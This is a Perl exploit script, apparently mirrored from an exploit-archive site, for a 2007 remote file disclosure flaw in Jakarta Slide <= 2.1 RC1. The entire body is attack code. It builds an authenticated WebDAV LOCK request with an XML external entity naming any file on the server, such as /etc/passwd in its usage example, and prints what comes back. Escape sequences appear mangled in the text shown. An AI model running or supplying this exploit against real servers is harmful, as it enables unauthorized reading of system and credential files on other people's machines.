[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Jakarta Slide <= 2.1 RC1 Remote File Disclosure Exploit
# Published : 2007-10-24
# Author : kcope
# Previous Title : eIQnetworks ESA SEARCHREPORT Remote Overflow Exploit (meta)
# Next Title : LiteSpeed Web Server <= 3.2.3 Remote Source Code Disclosure Vuln
#!/usr/bin/perl
#******************************************************
# Jakarta Slide Remote File Disclosure Zeroday Xploit
# eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************
use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?
# SET REMOTE PORT HERE
$remoteport = 8080;
sub usage {
print "Jakarta Slide Remote File Disclosure Zeroday Xploitn";
print "eliteb0y / 2007n";
print "usage: perl JAKARTAXPL <remotehost> <slide file> <file to retrieve> [username] [password]n";
print "example: perl JAKARTAXPL www.hostname.com /slide/users/guest /etc/passwd guest guestn";exit;
}
if ($#ARGV < 2) {usage();}
$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];
$username = $ARGV[3];
$password = $ARGV[4];
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => $remoteport,
Proto => 'tcp');
$|=1;
$BasicAuth = encode_base64("$username:$password");
$KRADXmL =
"<?xml version="1.0"?>n"
."<!DOCTYPE REMOTE [n"
."<!ENTITY RemoteX SYSTEM "$remotefile">n"
."]>n"
."<D:lockinfo xmlns:D='DAV:'>n"
."<D:lockscope><D:exclusive/></D:lockscope>n"
."<D:locktype><D:write/></D:locktype>n"
."<D:owner>n"
."<D:href>n"
."<REMOTE>n"
."<RemoteX>&RemoteX;</RemoteX>n"
."</REMOTE>n"
."</D:href>n"
."</D:owner>n"
."</D:lockinfo>n";
print "Jakarta Slide Remote File Disclosure Zeroday Xploitn";
print "eliteb0y / 2007n";
print "Launching Remote Exploit...n";
$ExploitRequest =
"LOCK $webdavfile HTTP/1.1rn"
."Host: $hostnamern";
if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth";
}
$ExploitRequest .= "Content-Type: text/xmlrnContent-Length: ".length($KRADXmL)."rnrn" . $KRADXmL;
print $sock $ExploitRequest;
while(<$sock>) {
print;
}
# www.Syue.com [2007-10-24]